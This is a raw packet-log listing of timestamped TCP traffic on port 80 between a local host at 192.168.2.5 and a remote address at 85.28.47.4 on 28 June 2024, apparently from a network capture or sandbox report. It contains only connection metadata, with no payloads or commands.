Jun 28, 2024 13:36:04.159471989 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.159472942 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.159488916 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.159514904 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.159596920 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.159607887 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.159616947 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.159645081 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.159676075 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.159909010 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.159919024 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.159928083 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.159936905 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.159948111 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.159951925 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.159956932 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.159961939 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.159980059 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.160007000 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.232984066 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.233051062 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.233186007 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.233202934 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.233212948 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.233222961 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.233232975 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.233242035 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.233272076 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.233289003 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.233295918 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.233306885 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.233316898 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.233326912 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.233335972 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.233341932 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.233356953 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.233375072 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.233397007 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.233429909 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.233442068 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.233452082 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.233473063 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.233501911 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.242800951 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.242861986 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.242877007 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.242892981 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.242917061 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.242947102 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.242997885 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.243009090 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.243019104 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.243107080 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.243115902 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.243122101 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.243176937 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.243225098 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.243226051 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.243254900 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.243266106 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.243268013 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.243297100 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.243340015 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.243351936 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.243361950 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.243407011 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.243407965 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.243467093 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.243489027 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.243499041 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.243509054 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.243510962 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.243519068 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.243529081 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.243530989 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.243544102 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.243550062 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.243571043 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.243592024 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.243711948 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.243758917 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.243788958 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.243798971 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.243812084 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.243835926 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.243843079 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.243845940 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.243856907 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.243860960 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.243866920 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.243881941 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.243881941 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.243897915 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.243907928 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.243923903 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.243944883 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.244189024 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.244199991 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.244209051 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.244240999 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.244271040 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.244326115 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.244337082 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.244344950 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.244368076 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.244374990 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.244378090 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.244389057 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.244394064 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.244398117 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.244409084 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.244414091 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.244419098 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.244429111 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.244441986 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.244446993 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.244457006 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.244462013 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.244467020 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.244477987 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.244493961 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.244501114 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.244501114 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.244532108 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.244532108 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.244904041 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.244915962 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.244925022 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.244935989 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.244946003 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.244959116 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.244998932 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.245043039 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.245054007 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.245064020 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.245074034 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.245083094 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.245090961 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.245091915 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.245102882 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.245110989 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.245114088 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.245125055 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.245126963 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.245134115 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.245145082 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.245153904 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.245156050 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.245168924 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.245174885 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.245179892 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.245198965 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.245199919 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.245223045 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.245604992 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.245616913 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.245625019 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.245657921 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.245687008 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.249526978 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.249546051 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.249582052 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.249582052 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.249644041 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.249691010 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.249699116 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.249711037 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.249727011 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.249751091 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.249775887 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.249778986 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.249820948 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.249835014 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.249845982 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.249855042 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.249881983 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.249910116 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.249974966 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.249984026 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.249993086 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.250003099 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.250013113 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.250022888 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.250025034 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.250035048 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.250042915 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.250061035 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.250088930 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.250246048 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.250262022 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.250272036 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.250282049 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.250292063 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.250303030 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.250303030 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.250334978 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.250355959 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.250365973 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.250403881 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.250406027 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.250416040 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.250427008 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.250437021 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.250448942 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.250475883 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.323385000 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.323396921 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.323406935 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.323446989 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.323479891 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.323653936 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.323664904 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.323673964 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.323683977 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.323693991 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.323702097 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.323703051 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.323730946 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.323750019 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.323753119 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.323765039 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.323775053 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.323785067 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.323793888 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.323801041 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.323807001 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.323826075 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.323858023 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.333834887 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.333889008 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.333931923 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.333941936 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.333971977 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.333981991 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.334079027 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.334089994 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.334109068 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.334105015 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.334105015 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.334105968 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.334105968 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.334151983 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.334152937 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.334152937 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.334197044 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.334208012 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.334249020 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.334249020 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.334292889 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.334302902 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.334335089 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.334391117 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.334403038 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.334412098 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.334423065 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.334429979 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.334458113 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.334498882 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.334511995 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.334522009 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.334557056 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.334590912 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.334603071 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.334611893 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.334621906 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.334633112 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.334633112 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.334652901 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.334681034 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.334810019 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.334851980 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.335040092 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.335050106 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.335058928 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.335071087 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.335081100 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.335087061 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.335089922 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.335100889 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.335108042 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.335110903 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.335120916 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.335128069 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.335131884 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.335141897 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.335149050 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.335153103 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.335163116 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.335165977 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.335172892 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.335181952 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.335184097 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.335201025 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.335220098 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.335652113 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.335664034 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.335674047 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.335684061 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.335692883 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.335701942 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.335702896 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.335714102 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.335725069 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.335726976 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.335733891 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.335743904 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.335746050 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.335755110 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.335766077 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.335769892 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.335769892 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.335793018 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.336029053 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.336040020 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.336050034 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.336071968 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.336102962 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.336451054 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.336523056 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.336532116 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.336534023 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.336564064 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.336627007 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.336637974 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.336647034 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.336663008 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.336683035 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.336683035 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.336718082 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.336770058 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.336792946 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.336803913 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.336810112 CEST	49705	80	192.168.2.5	85.28.47.4
